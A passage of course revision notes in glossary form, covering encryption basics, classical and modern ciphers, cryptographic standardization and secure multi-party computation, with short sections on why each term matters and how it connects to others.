Connection: losing a private key breaks the security model. If a signing key is stolen, attackers can impersonate the signer. If a decryption key is lost, encrypted data may be unrecoverable. Public keys require trust infrastructure: certificates, fingerprints, certificate authorities, or out-of-band verification.

Symmetric Encryption

Symmetric encryption uses the same secret key, or closely related keys, for encryption and decryption. The sender and receiver must both know the shared key and keep it secret. AES and ChaCha20 are major examples.

WHY it matters: symmetric encryption is fast and efficient, so it is used for bulk data such as disk encryption, VPN tunnels, TLS application traffic, database encryption, and encrypted backups. It is usually the workhorse of real systems after keys have been established.

Connection: the main challenge is key distribution. How do two parties get the same secret key without an attacker learning it? Protocols such as TLS use asymmetric cryptography or key exchange to solve that problem, then switch to symmetric encryption for speed.

Asymmetric Encryption

Asymmetric encryption uses a public/private key pair instead of one shared secret. Data encrypted to a public key can only be decrypted with the matching private key. Related asymmetric techniques also support signatures and key exchange.

WHY it matters: asymmetric encryption allows secure communication without first sharing a secret over a private channel. It is central to TLS, secure email, SSH, certificates, and many authentication systems.

Connection: asymmetric encryption is slower than symmetric encryption and has more complex safety requirements. Real protocols normally use asymmetric cryptography to authenticate and establish a session key, then use symmetric encryption to protect the data stream. Textbook versions of RSA and ElGamal are not safe by themselves; real schemes require padding, randomness, and authenticated protocol design.

Encryption

Encryption transforms readable plaintext into unreadable ciphertext using an algorithm and a key. Only an authorized party with the correct key should be able to recover the plaintext. Encryption can protect data at rest, data in transit, and sometimes data during specialized forms of computation.

WHY it matters: encryption limits the impact of interception, theft, and unauthorized storage access. If a laptop is stolen but the disk is properly encrypted, the attacker may have the hardware but not the data. If HTTPS is used correctly, network observers cannot read the protected web traffic.

Connection: encryption primarily supports confidentiality, but modern authenticated encryption modes also provide integrity. Encryption is not the same as hashing: encrypted data is meant to be decrypted; hashed data is not. Encryption also does not automatically solve access control, key management, endpoint compromise, backups, or legal compliance.

Decryption

Decryption is the reverse process of encryption: ciphertext is transformed back into plaintext using the correct key and algorithm. If the key is wrong, the ciphertext has been tampered with, or the protocol uses authentication checks, decryption should fail or produce unusable data.

WHY it matters: security depends not only on encrypting data but also on controlling who can decrypt it. Key storage, key rotation, hardware security modules, access policies, and recovery procedures determine whether decryption is safely available to legitimate users and unavailable to attackers.

Connection: in symmetric encryption the same key decrypts what it encrypted. In public key encryption, the private key decrypts data encrypted to the public key. In authenticated encryption, successful decryption also verifies integrity; unauthenticated decryption can be dangerous because attackers may modify ciphertext and learn from error behavior.

Symmetric Key Encryption (SKE)

Symmetric Key Encryption, often abbreviated SKE, is the formal name for encryption where one shared secret key is used by both parties. Examples include AES in modes such as GCM or CTR with authentication, and stream ciphers such as ChaCha20 combined with Poly1305.

WHY it matters: SKE is efficient enough for high-volume traffic and large files. It is what protects most actual data after a protocol has established a session key. For example, TLS does not use RSA to encrypt every byte of a website; it negotiates keys and then uses symmetric encryption for the session.

Connection: SKE requires careful nonce or IV management. Reusing a nonce with the same key in many schemes can leak information or completely break confidentiality and integrity. Safe constructions use authenticated encryption whenever possible.

Public Key Encryption (PKE)

Public Key Encryption, or PKE, is encryption based on a public/private key pair. Anyone can encrypt a message to the receiver's public key, but only the receiver's private key should decrypt it. RSA, ElGamal, and elliptic-curve-based schemes are examples or foundations.

WHY it matters: PKE solves the problem of sending encrypted information to someone without sharing a secret first. It supports secure key transport, hybrid encryption, secure messaging, and certificate-based infrastructure.

Connection: PKE is usually used in hybrid encryption: generate a random symmetric key, encrypt the data with that symmetric key, then encrypt the symmetric key using PKE. This combines the scalability of public keys with the speed of symmetric encryption.

Plaintext

Plaintext is the original readable form of data before encryption, or the recovered readable form after decryption. It can be ordinary text, credentials, database records, images, binaries, or any other data the system wants to protect.

WHY it matters: plaintext is the sensitive state. Good systems minimize where plaintext appears, how long it remains in memory, who can access it, and whether it is written to logs, swap, crash dumps, or temporary files.

Connection: plaintext is not always human-readable English. In cryptography it simply means the unencrypted input to an encryption algorithm. A common implementation failure is encrypting data correctly but accidentally leaking plaintext through logs, debugging output, browser history, backups, or analytics systems.

Ciphertext

Ciphertext is the encrypted output produced from plaintext using an encryption algorithm and key. It should look random to anyone who does not have the correct key and should not reveal useful information about the plaintext beyond allowed metadata such as length or timing.

WHY it matters: ciphertext is what an attacker may capture, store, replay, or attempt to manipulate. A secure encryption scheme should remain safe even if the attacker has many ciphertexts and may know or choose some corresponding plaintexts.

Connection: ciphertext alone does not guarantee integrity. Some encryption modes are malleable unless authenticated, meaning an attacker can alter ciphertext in ways that cause controlled changes or useful errors. Modern protocols prefer authenticated encryption such as AES-GCM or ChaCha20-Poly1305.

AES (Advanced Encryption Standard) / Rijndael

AES is the Advanced Encryption Standard, a symmetric block cipher standardized by NIST in FIPS PUB 197 in 2002. The selected algorithm is Rijndael, designed by Joan Daemen and Vincent Rijmen. AES supports 128-bit blocks and key sizes of 128, 192, and 256 bits.

WHY it matters: AES is one of the most important deployed cryptographic algorithms in the world. It is used in TLS, disk encryption, VPNs, WiFi security, file encryption, backup systems, and many government and industry standards. It is fast in software and hardware, and modern CPUs often have AES acceleration.

Connection: AES is a block cipher, so it must be used in a mode of operation. AES-ECB is unsafe for structured data because identical plaintext blocks reveal patterns. Safer modern choices include authenticated modes such as AES-GCM, or combinations that provide both confidentiality and integrity. The course also notes the AES standardization process and the finalist Serpent.

DES (Data Encryption Standard)

DES is an older symmetric block cipher standardized in the 1970s. It uses a 56-bit effective key and a 64-bit block size. DES was historically important and influenced later cipher design, but it is now insecure because its key size is too small for modern brute-force capabilities.

WHY it matters: DES is useful for understanding the evolution of cryptography and why security margins matter. What was once acceptable became obsolete as computation improved. This is a recurring exam theme: cryptographic algorithms age, and systems must migrate before they become easy targets.

Connection: DES uses a Feistel network structure. Triple-DES extended DES by applying DES multiple times, but it too is being phased out due to performance and block-size limitations. Modern systems should use AES or other modern approved algorithms instead of DES.

Feistel Function

A Feistel function is part of a Feistel network, a block cipher design structure where each round splits the block into left and right halves, applies a round function to one half with a subkey, and combines it with the other half, typically using XOR. The structure can be inverted for decryption even if the round function itself is not invertible.

WHY it matters: Feistel networks are a major design idea behind classic ciphers such as DES. They show how repeated simple operations can produce confusion and diffusion, making the relationship between key, plaintext, and ciphertext hard to analyze.

Connection: Feistel structure is not a specific cipher by itself. It is a design pattern. Security depends on the number of rounds, round function quality, key schedule, block size, and resistance to attacks such as differential and linear cryptanalysis.

One Time Pad (OTP) - information-theoretically secure

A one-time pad encrypts plaintext by combining it with a truly random key stream that is exactly as long as the message, used only once, and kept completely secret. When those conditions are met, the one-time pad is information-theoretically secure: even unlimited computing power cannot determine the plaintext from the ciphertext alone.

WHY it matters: OTP is the cleanest example of perfect secrecy. It shows that some security can be based on information theory rather than computational hardness. The problem is practicality: generating, distributing, storing, and never reusing huge random keys is extremely difficult.

Connection: OTP failure is severe. Reusing the same pad for two messages creates a 'two-time pad' and leaks relationships between plaintexts. Many stream ciphers imitate the OTP idea by generating a pseudorandom keystream from a smaller key, but then security is computational rather than information-theoretic.

ChaCha20-Poly1305

ChaCha20-Poly1305 is an authenticated encryption construction. ChaCha20 is a fast stream cipher that encrypts data, and Poly1305 is a message authentication code that checks integrity and authenticity. Together they provide confidentiality and tamper detection.

WHY it matters: it is widely used as a modern alternative to AES-GCM, especially on devices without fast AES hardware. It performs well in software, is used in TLS, VPNs, mobile systems, and secure messaging, and is designed to avoid many older mode-of-operation mistakes.

Connection: ChaCha20-Poly1305 requires correct nonce handling. As with many stream-cipher-like designs, nonce reuse under the same key can be catastrophic. It is an example of modern cryptography preferring authenticated encryption instead of separate ad hoc encryption and integrity checks.

RSA (Rivest-Shamir-Adleman)

RSA is a public key cryptosystem named after Rivest, Shamir, and Adleman. It is based on the difficulty of factoring a large modulus that is the product of two large primes. RSA can be used for encryption, key transport, and digital signatures when used with safe padding schemes.

WHY it matters: RSA is historically and practically central to public key cryptography. It appears in TLS certificates, signatures, secure email, SSH, and many legacy systems. It helped make internet-scale secure communication possible.

Connection: textbook RSA is not safe. Real-world RSA must use padding schemes such as OAEP for encryption and PSS for signatures, strong key generation, adequate key sizes, and side-channel protections. RSA is also vulnerable to future large-scale quantum computers via Shor's algorithm, which motivates post-quantum cryptography.

ElGamal Encryption

ElGamal encryption is a public key encryption scheme based on the discrete logarithm problem. A receiver publishes a public key derived from a secret exponent. To encrypt, the sender uses fresh randomness to produce a ciphertext pair. Decryption uses the private exponent to remove the shared secret and recover the message.

WHY it matters: ElGamal illustrates randomized public key encryption. The same plaintext encrypted twice should produce different ciphertexts because encryption uses fresh randomness. This prevents simple pattern matching and is an important idea in modern encryption security.

Connection: ElGamal can be built over multiplicative groups or elliptic curve groups. It is related to Diffie-Hellman key exchange. Reusing the random value or using poor randomness can break security. Textbook ElGamal also needs careful encoding, authentication, and protocol design in real systems.

Elliptic Curve Encryption

Elliptic curve cryptography, or ECC, uses algebraic structures on elliptic curves to create public key systems with smaller keys than traditional RSA for comparable classical security. Elliptic curve techniques support key exchange, signatures, and encryption-style constructions.

WHY it matters: ECC is efficient and widely deployed in TLS, mobile devices, secure messaging, cryptocurrency systems, and embedded systems. Smaller keys mean less bandwidth, less storage, and faster operations, which matters for constrained environments.

Connection: ECC security depends on choosing safe curves, validating public keys, using correct randomness, and avoiding side-channel leaks. Like RSA, most ECC schemes are threatened by sufficiently powerful future quantum computers, so they are part of the motivation for post-quantum migration planning.

Post-quantum Cryptography

Post-quantum cryptography is cryptography designed to remain secure against attackers with large-scale quantum computers. It focuses mainly on replacing public key algorithms such as RSA, Diffie-Hellman, and elliptic-curve systems, which are vulnerable to Shor's algorithm.

WHY it matters: encrypted data captured today may be decrypted later if it was protected with quantum-vulnerable key exchange and the adversary stores it until quantum computers mature. This is sometimes called harvest-now-decrypt-later risk. Long-lived secrets, government data, health data, and intellectual property are especially relevant.

Connection: post-quantum cryptography does not mean quantum cryptography. It usually means classical algorithms based on problems believed to resist quantum attacks, such as lattice-based, code-based, hash-based, multivariate, or isogeny-inspired approaches. Symmetric cryptography is less affected but may need larger security margins.

Caesar Cipher (monoalphabetic substitution)

The Caesar cipher is a simple substitution cipher where each letter is shifted by a fixed number of positions in the alphabet. For example, with a shift of 3, A becomes D, B becomes E, and so on. It is monoalphabetic because the mapping from plaintext letters to ciphertext letters is fixed throughout the message.

WHY it matters: Caesar cipher is historically useful but cryptographically broken. There are only 25 meaningful shifts in the English alphabet, so brute force is trivial. It also preserves letter frequencies, making it easy to recognize patterns.

Connection: Caesar cipher introduces core vocabulary: plaintext, ciphertext, key, encryption, decryption, substitution, and brute force. It helps explain why modern cryptography needs large key spaces, strong diffusion, and resistance to statistical analysis.

Vigenere Cipher (polyalphabetic substitution)

The Vigenere cipher is a historical polyalphabetic substitution cipher. It uses a repeating keyword to choose different Caesar-style shifts for different positions in the message. This means the same plaintext letter can encrypt to different ciphertext letters depending on its position and keyword character.

WHY it matters: Vigenere was stronger than simple monoalphabetic substitution because it hides simple letter-frequency patterns. However, it is still breakable, especially when the key repeats. Analysts can estimate key length and then reduce the problem to several substitution ciphers.

Connection: Vigenere shows the evolution from fixed substitution to variable substitution. It also demonstrates a recurring cryptographic lesson: repeating keys leak structure. The one-time pad can be seen as a Vigenere-like idea with a truly random non-repeating key as long as the message.

Enigma Machine

The Enigma machine was an electromechanical cipher device used especially by Germany during World War II. It used rotors, a plugboard, and changing internal state to implement a complex polyalphabetic substitution cipher. Each keypress changed the machine state, so letters were encrypted differently across a message.

WHY it matters: Enigma is a classic example of operational cryptography. The machine was sophisticated for its time, but weaknesses in procedures, predictable message formats, key handling, and machine design enabled cryptanalysis. Security failed not only because of mathematics but also because of usage patterns.

Connection: Enigma connects historical ciphers to modern themes: key management, implementation details, human procedures, known-plaintext attacks, and traffic analysis. A strong-looking mechanism can be defeated if real-world operation leaks structure.

Substitution Cipher (general category)

A substitution cipher encrypts by replacing units of plaintext with other units. The unit may be a letter, pair of letters, block, or symbol. The mapping can be fixed, as in monoalphabetic substitution, or change over the message, as in polyalphabetic substitution.

WHY it matters: substitution ciphers are a foundation for understanding confusion: hiding the relationship between plaintext, ciphertext, and key. Historical substitution ciphers are easy to explain and easy to break, making them useful teaching examples.

Connection: modern block ciphers still use substitution-like components, such as S-boxes, but combine them with permutation, mixing, key schedules, and many rounds. The old simple substitution ciphers are not secure, but the design idea survives in much more complex forms.

Monoalphabetic Substitution Cipher

A monoalphabetic substitution cipher uses one fixed substitution alphabet for the entire message. Each plaintext symbol always maps to the same ciphertext symbol. Caesar cipher is a special case with a shifted alphabet.

WHY it matters: it has a much larger key space than Caesar if any alphabet permutation is allowed, but it is still weak because it preserves language statistics. Common letters, repeated patterns, word shapes, and digrams can reveal the mapping.

Connection: monoalphabetic substitution demonstrates why large key space alone is not enough. A cipher can have many possible keys but still leak structure. Modern ciphers aim to destroy exploitable statistical relationships through repeated rounds of substitution and diffusion.

Polyalphabetic Substitution Cipher

A polyalphabetic substitution cipher uses multiple substitution alphabets during encryption. The alphabet used for a character depends on position, key character, rotor state, or another changing rule. Vigenere and Enigma are important examples.

WHY it matters: polyalphabetic substitution was designed to defeat simple frequency analysis by making the same plaintext character encrypt differently in different places. It is stronger than monoalphabetic substitution but still vulnerable if the key stream repeats or has predictable structure.

Connection: stream ciphers and OTP-like systems can be understood as modern descendants of the idea of changing the substitution continuously. The difference is that secure modern systems require unpredictable, non-reused keystreams and formal security analysis.

Differential Cryptanalysis

Differential cryptanalysis is a method for attacking block ciphers by studying how differences in plaintext pairs affect differences in ciphertext pairs. The attacker looks for non-random patterns through cipher rounds that reveal information about subkeys.

WHY it matters: it is one of the major modern cryptanalytic techniques. Cipher designers must show resistance to differential attacks when proposing new algorithms. DES, AES candidates, and many block ciphers are analyzed with this in mind.

Connection: differential cryptanalysis is more advanced than brute force. It attacks structure rather than trying every key. A cipher can have a large key size but still be weak if its internal transformations allow useful differential patterns.

Linear Cryptanalysis

Linear cryptanalysis attacks a cipher by finding approximate linear relationships between plaintext bits, ciphertext bits, and key bits that hold with probability noticeably different from random chance. With many known plaintext/ciphertext pairs, those small biases can reveal key information.

WHY it matters: it is another central technique in modern block-cipher analysis. Secure cipher design aims to avoid exploitable linear approximations and to ensure that any remaining biases are too small to use in practice.

Connection: together with differential cryptanalysis, linear cryptanalysis explains why cipher design is not just inventing complicated transformations. Algorithms must be publicly analyzed against known attack families before they are trusted or standardized.

FIPS (Federal Information Processing Standards)

FIPS are Federal Information Processing Standards issued by NIST for use by US federal agencies and often adopted more broadly by industry. In cryptography, FIPS publications define or approve algorithms, modes, and security requirements used for compliance and procurement.

WHY it matters: standardization affects what organizations are allowed or expected to deploy. A FIPS-approved algorithm has gone through a public standardization and review process, which supports interoperability and security assurance.

Connection: FIPS does not mean a system is automatically secure. The algorithm may be approved, but implementations, key management, modes, randomness, and configuration must also be correct. AES is standardized in FIPS PUB 197. CMAC is standardized in NIST SP 800-38B rather than FIPS PUB 197.

FIPS PUB 197 (AES standard, 2002)

FIPS PUB 197 is the NIST publication that standardized AES in 2002. It specifies the AES block cipher based on Rijndael, including supported key sizes, block size, and core transformations.

WHY it matters: this standard made AES a common global foundation for symmetric encryption. Once standardized, vendors, governments, libraries, and protocols could build interoperable systems around the same algorithm.

Connection: the course highlights that AES standardization involved 15 submitted designs and 5 finalists, with Serpent as a runner-up. FIPS PUB 197 standardizes the block cipher itself; secure deployment still requires choosing safe modes, authentication, key handling, and protocol context.

Serpent (AES finalist / runner-up)

Serpent is a symmetric block cipher designed by Ross Anderson, Eli Biham, and Lars Knudsen. It was one of the AES finalists and is often described as the AES runner-up. It was not selected as AES, but it is respected for its conservative security margin.

WHY it matters: Serpent illustrates that cryptographic standardization is a competition of security, performance, implementation properties, and confidence. The winner is not the only serious design; finalists are usually strong algorithms that influenced later thinking.

Connection: the course links Serpent to Lars Knudsen at SDU Sonderborg and to the AES standardization process. This term is likely exam-relevant as a named connection: AES/Rijndael was selected; Serpent was the runner-up; public review was part of the trust-building process.

EAXprime (broken standardized scheme)

EAXprime, often written EAX', was a standardized authenticated-encryption-like scheme used in ANSI C12.22 for transporting electricity meter-based data over a network. The course uses it as an example that standardization does not guarantee a scheme is perfect.

WHY it matters: in 2012, researchers Minematsu, Lucks, Morita, and Iwata broke EAXprime and warned against use of the vulnerable protocol. This shows that standardized cryptography can still contain flaws and that public analysis remains important after deployment.

Connection: EAXprime is useful for exam contrast with AES. AES standardization is a success story; EAXprime is a warning story. A scheme can be standardized, deployed, and later found insecure. Standards need expert review, revision, and migration paths.

CMAC (used in low-power / wireless devices)

CMAC is a cipher-based message authentication code standardized in NIST SP 800-38B. It uses a block cipher such as AES to produce a tag that verifies message integrity and authenticity when the sender and receiver share a secret key.

WHY it matters: CMAC is used in constrained and wireless environments, including lower-power devices and protocols such as WiFi and Bluetooth contexts. It gives a way to detect tampering without using public key signatures for every message.

Connection: CMAC protects integrity and authentication, not confidentiality. It is related to MACs and HMACs: all use a secret key to produce a verification tag. The course mentions Tetsu Iwata as famous for CMAC and contrasts successful standardization with cases such as EAXprime.

Standardization of Cryptographic Schemes

Standardization is the process by which cryptographic algorithms, modes, protocols, or APIs are publicly specified, reviewed, selected, and adopted by standards bodies such as NIST, ISO, ANSI, IETF, or others. Standards define how independent implementations should behave.

WHY it matters: standardization supports interoperability, public security review, certification, regulation, procurement, and deployment at scale. Without standards, vendors may implement incompatible or poorly reviewed custom cryptography.

Connection: standardization is not proof of eternal security. AES is a strong example of successful public standardization; EAXprime is a reminder that standardized schemes can later be broken. Good exam language: do not invent your own crypto; use well-reviewed standards, but keep them updated and configured correctly.

Information-Theoretically Secure

A scheme is information-theoretically secure if its security does not depend on the attacker's limited computing power. Even an attacker with unlimited computation cannot break the defined secrecy goal because the ciphertext does not contain enough information to determine the plaintext.

WHY it matters: this is stronger than computational security. RSA, AES, and most deployed cryptography assume certain computations are infeasible. Information-theoretic security makes no such assumption for the protected property.

Connection: the one-time pad is the classic example, but only under strict conditions: truly random key, key as long as the message, one-time use, and secrecy of the key. Many MPC and secret-sharing ideas also use information-theoretic reasoning under certain adversary models.

Textbook RSA vs Real-World RSA

Textbook RSA means the raw mathematical operation: encrypt as $c = m^e \bmod n$ or sign by applying the private exponent directly. This simple form is deterministic and malleable, and it does not meet modern security definitions.

WHY it matters: many exam traps involve assuming the basic formula is enough. Raw RSA can leak structure, allow chosen-ciphertext attacks, enable signature forgeries in weak encodings, or fail under repeated and predictable messages. Real-world RSA wraps the math in carefully specified padding and protocol rules.

Connection: real-world RSA encryption should use OAEP; real-world RSA signatures should use PSS or other approved signature encodings. TLS and certificate systems use RSA inside larger protocols. The distinction mirrors a broad cryptography rule: primitives are not secure applications until composed safely.

2PC / Two-Party Computation

Two-Party Computation, or 2PC, is a secure computation setting where two parties compute a function of their private inputs without revealing those inputs beyond what can be inferred from the output. Classic examples include comparing salaries without revealing exact salaries, or determining whether two people both expressed interest without revealing unmatched preferences.

WHY it matters: 2PC shows that privacy can be preserved during computation, not only during storage or transmission. It lets parties cooperate while limiting data disclosure, which is valuable when organizations, individuals, or services do not fully trust each other.

Connection: Andrew Yao introduced the Millionaire's Problem in 1982 and later developed general 2PC approaches such as garbled circuits. 2PC is a special case of MPC with exactly two parties. The security definition does not hide the result itself; anything logically implied by the result can still be learned.

■ MULTI-PARTY COMPUTATION (MPC)

MPC (Multi-Party Computation / Secure Multi-Party Computation)

MPC is a family of cryptographic protocols that allow multiple parties to jointly compute a function over their private inputs while revealing nothing more than the intended output. Each party contributes data, but the protocol prevents other parties or computing servers from seeing the raw inputs in plain form.

WHY it matters: many useful computations require combining sensitive data: salary comparison, set intersection, health-care analysis, fraud detection, voting, auctions, machine learning, pattern matching, genome matching, and private key management. MPC allows computation where ordinary data sharing would violate privacy, secrecy, regulation, or business interests.

Connection: MPC uses tools such as secret sharing, garbled circuits, oblivious transfer, Beaver triples, and threshold cryptography. It differs from ordinary encryption because the goal is not just to store or send data securely; the goal is to compute on protected inputs. It also differs from anonymization because exact private inputs can remain cryptographically protected during the protocol.

Secret Sharing

Secret sharing splits a secret into multiple pieces called shares. Individual shares reveal nothing or too little about the secret, but a sufficient set of shares can reconstruct it. Shamir Secret Sharing from 1979 is a classic threshold scheme where any t shares reconstruct the secret but fewer than t shares do not.

WHY it matters: secret sharing is a foundation for MPC, threshold cryptography, distributed key management, and secure backups. Instead of storing a sensitive key in one place, an organization can distribute shares across servers or people so no single compromise reveals the secret.

Connection: in MPC, parties compute on shares rather than on raw secrets. Boolean sharing and additive sharing are simple forms. Secret sharing is not the same as encryption: there may be no single decryption key; reconstruction requires combining enough shares according to the scheme.

Boolean Sharing

Boolean sharing represents a secret bit as shares whose XOR reconstructs the bit. For two parties, a bit a can be shared as a_1 and a_2 such that $a = a_1 \text{ XOR } a_2$. Each share by itself looks random and does not reveal the secret bit.

WHY it matters: Boolean sharing is simple yet powerful for computing Boolean circuits. It makes XOR operations easy and local: parties can XOR their own shares without communication. More difficult operations, such as AND, require additional protocol machinery such as Beaver triples.

Connection: Boolean sharing fits naturally with circuit-based computation. The course uses it in the matching/AND example, where two private preferences a and b are used to compute $a \text{ AND } b$ without revealing more than the output.

XOR (trivial in boolean sharing)

XOR is the exclusive-or operation: the result is 1 when the input bits differ and 0 when they are the same. In Boolean secret sharing, XOR is trivial because shares can be combined locally. If $a = a_1 \text{ XOR } a_2$ and $b = b_1 \text{ XOR } b_2$, then $a \text{ XOR } b$ can be shared as $(a_1 \text{ XOR } b_1)$ and $(a_2 \text{ XOR } b_2)$.

WHY it matters: local operations are cheap in MPC because they require no interaction. This is why Boolean circuits often treat XOR as essentially free, while AND gates are expensive and require communication or preprocessed correlated randomness.

Connection: XOR also appears throughout cryptography: stream ciphers combine plaintext with keystream using XOR; Feistel networks often combine round output with XOR; one-time pads use XOR for binary data. In MPC, XOR is a computational convenience for secret-shared bits.

Beaver Triples (efficient AND/multiplication)

Beaver triples are preprocessed correlated random values used to make multiplication or AND gates efficient in secret-shared computation. For Boolean sharing, a triple can contain random shared bits i , j , and k where $k = i \text{ AND } j$. During the online phase, parties open masked differences and compute the desired AND without revealing the private inputs.

WHY it matters: AND and multiplication are the expensive parts of many MPC protocols. Beaver triples move much of the cost into a preprocessing phase, allowing faster online computation when real inputs arrive. This is crucial for practical MPC systems.

Connection: the course summary states the core idea clearly: Boolean sharing makes XOR trivial, while Beaver triples enable efficient AND/multiplication. In arithmetic sharing, Beaver triples serve the analogous role for multiplication over a field or ring.

FHE (Fully Homomorphic Encryption)

Fully Homomorphic Encryption allows computation directly on encrypted data. A server can evaluate functions over ciphertexts and produce an encrypted result, which the key holder can decrypt to obtain the same result that would have been produced by computing on the plaintext.

WHY it matters: FHE addresses a similar motivation to MPC: how can a service compute useful results without seeing sensitive input in plain form? It is relevant for confidential cloud computing, privacy-preserving analytics, and machine learning on protected data.

Connection: FHE and MPC are related but different. In MPC, computation is distributed across parties or servers using protocols such as secret sharing. In FHE, computation is performed over ciphertexts under an encryption scheme. Some real systems combine MPC and FHE to balance performance, trust assumptions, and functionality.

Threshold Cryptography

Threshold cryptography distributes a cryptographic capability across multiple parties so that at least a threshold number must cooperate to perform an operation such as signing or decryption. A private key may never exist in one complete place; instead, parties hold shares and jointly compute the cryptographic result.

WHY it matters: it reduces single points of failure. If one server, admin, or device is compromised, the attacker still cannot sign transactions or decrypt data without enough additional shares. This is valuable for certificate authorities, cryptocurrency wallets, cloud key management, and high-value enterprise secrets.

Connection: threshold cryptography is an applied cousin of MPC and secret sharing. Threshold signatures, threshold decryption, and distributed key generation are examples. It focuses on protecting cryptographic keys and operations rather than arbitrary general computation, although the protocol techniques overlap.

NIST Multi-Party Threshold Cryptography

NIST Multi-Party Threshold Cryptography is a NIST project focused on standardizing and evaluating threshold cryptographic schemes. The course notes point to the NIST threshold cryptography project and describe an early process involving preview writeups and multiple rounds.

WHY it matters: threshold cryptography is moving from research into real deployment, so standards are needed for interoperability, assurance, procurement, and safe implementation. Without standards, organizations may deploy incompatible or weak custom protocols for very sensitive keys.

Connection: this term connects the MPC lecture back to cryptographic standardization. As with AES, public review and standardization help real-world adoption. As with EAXprime, standardization still requires careful analysis and revision when weaknesses are found.

Partisia

Partisia is an MPC-related company and platform associated with privacy-preserving computation. The course describes it as an MPC-based platform with applications in data sharing, voting, and auctions, and notes its connection to Aarhus.

WHY it matters: Partisia is an example of MPC leaving the textbook and becoming a service or platform model. Real deployments need usability, scalability, governance, and integration, not only cryptographic correctness.

Connection: use Partisia as a named real-world MPC company in exam answers. It connects Danish cryptography, practical MPC services, and application areas where multiple parties want a shared result without exposing private inputs.

Zama

Zama is a privacy-preserving computation company associated with technologies such as FHE and MPC. The course lists it in the context of confidential cloud and AI applications.

WHY it matters: Zama illustrates that privacy-preserving computation is not limited to academic examples like millionaire's problem. The commercial motivation is to let data be used for cloud services, AI, analytics, or computation while reducing exposure of raw sensitive information.

Connection: Zama is useful as an example bridging MPC and FHE. If an exam asks for real-world relevance, mention confidential AI, encrypted computation, and privacy-preserving cloud services rather than only toy examples.

Curv (acquired by PayPal)

Curv was a company focused on MPC-based private key management, especially for cryptocurrency infrastructure. It was acquired by PayPal. The core idea was to protect signing keys by splitting control across parties or systems rather than storing one complete private key in one wallet or server.

WHY it matters: cryptocurrency systems make key theft immediately damaging: if a private key is stolen, assets can be transferred irreversibly. MPC-based custody reduces the risk of a single stolen key, device, or server leading to total loss.

Connection: Curv is an example of threshold cryptography and MPC in real financial infrastructure. It connects private key management, digital signatures, blockchain assets, and the business reason for secure multi-party protocols.

Unbound Security (acquired by Coinbase)

Unbound Security was a company focused on MPC-based cryptographic key protection and key management. It was acquired by Coinbase. Its technology aimed to let organizations perform cryptographic operations without exposing a full private key in a single location.

WHY it matters: enterprises and cryptocurrency platforms need strong protection for signing keys, decryption keys, and authentication secrets. MPC-based key protection supports high availability and security while reducing single points of compromise.

Connection: Unbound Security belongs with Curv as a real-world example of threshold/MPC key management. Both show how MPC concepts apply to custody, signing, and financial infrastructure, not just academic privacy examples.

Millionaire's Problem (classic MPC motivation, 1982)

The Millionaire's Problem is the classic 2PC motivation introduced by Andrew Yao in 1982: two millionaires want to know who is richer without revealing their exact wealth to each other. More generally, two parties want to compare private values without disclosing the values themselves.

WHY it matters: it captures the essence of secure computation in a simple story. The desired output is only the comparison result, not the inputs. This makes it easy to understand what MPC tries to reveal and what it tries to hide.

Connection: the course uses salary comparison as a modern version: two people want to know who earns more without revealing salaries. The problem also illustrates that the output can still reveal some information. If the result says Alice earns more, that fact is intentionally learned.

Andrew Yao (inventor of 2PC and garbled circuits)

Andrew Yao is a foundational cryptographer associated with the Millionaire's Problem, two-party computation, and garbled circuits. His work showed how parties could securely compute functions while keeping inputs private under formal security definitions.

WHY it matters: Yao's work is a historical anchor for MPC. Exam questions may connect 1982 to the Millionaire's Problem, and 1986 to general function or circuit 2PC using Yao-style garbled circuits.

Connection: Yao connects 2PC, garbled circuits, and the broader idea that arbitrary functions can be represented as circuits and evaluated securely. Goldreich, Micali, and Wigderson later generalized MPC further in the multi-party setting.

Goldreich, Micali, Wigderson (GMW - general MPC, 1987)

Goldreich, Micali, and Wigderson are the researchers behind the 1987 GMW protocol and theoretical framework for secure multi-party computation of general functions. GMW showed how parties could securely evaluate circuits with distributed private inputs.

WHY it matters: GMW is a key historical milestone after Yao's 2PC work. It helped establish MPC as a general cryptographic possibility rather than a collection of special-case tricks.

Connection: the course history places Shamir Secret Sharing in 1979, Yao's Millionaire's Problem in 1982, general 2PC by Yao in 1986, and MPC by Goldreich, Micali, and Wigderson in 1987. This timeline is useful for Ctrl+F exam revision.

Garbled Circuit

A garbled circuit is a technique for secure two-party computation. One party transforms, or garbles, a Boolean circuit so that encrypted labels represent wire values. The evaluator can compute the output using labels without learning the underlying intermediate values, while input-transfer mechanisms prevent the garbler from learning the evaluator's input.

WHY it matters: garbled circuits are one of the core constructions proving that general secure computation is possible. Any computable function can be represented as a circuit, so garbled circuits provide a path from theory to practical 2PC protocols.

Connection: garbled circuits are associated with Andrew Yao. They contrast with secret-sharing-based MPC such as GMW-style approaches. Both compute functions privately, but their performance and communication patterns differ depending on the task and adversary model.

Additive Secret Sharing ($x = x_1 + x_2$)

Additive secret sharing represents a secret value x as shares that add up to x , often modulo some number or within a finite field or ring. For two shares, $x = x_1 + x_2$. Each share can look random by itself, while combining the shares reconstructs the secret.

WHY it matters: additive sharing is natural for arithmetic computations such as sums, averages, statistics, and machine-learning operations. Addition can often be performed locally on shares, while multiplication requires interaction or preprocessing such as Beaver triples.

Connection: the course mentions additive secret sharing as useful for more complicated arithmetic functions. It complements Boolean sharing: Boolean sharing is convenient for XOR and bit circuits; additive sharing is convenient for numerical arithmetic.

Ivan Damgaard (MPC researcher, Aarhus University, IACR Fellow)

Ivan Damgaard is a prominent Danish cryptographer associated with Aarhus University and secure multi-party computation research. The course highlights him as an IACR Fellow in the context of MPC in Denmark.

WHY it matters: named researchers connect abstract course topics to the research community and to Denmark's role in cryptography. Damgaard's work is part of the foundation behind modern secure computation and cryptographic protocols.

Connection: pair this term with Lars Knudsen for Danish cryptography context: Damgaard is linked strongly to MPC and Aarhus; Knudsen is linked in the course to SDU Sonderborg, AES/Serpent, and cryptanalysis. Both are IACR Fellows.

Lars Knudsen (SDU Sonderborg, IACR Fellow, AES / Serpent)

Lars Knudsen is a Danish cryptographer associated in the course with SDU Sonderborg, IACR Fellowship, and the AES/Serpent context. He is one of the designers of Serpent, the AES finalist and runner-up.

WHY it matters: this is likely exam-relevant because it links the local course context to major cryptographic standardization. It also connects block cipher design, cryptanalysis, and public competitions such as AES selection.

Connection: remember the chain: AES standardization selected Rijndael; Serpent was a finalist/runner-up; Serpent was created by Anderson, Biham, and Knudsen; Lars Knudsen is noted in the course as connected to SDU Sonderborg and as an IACR Fellow.

IACR (International Association for Cryptologic Research)

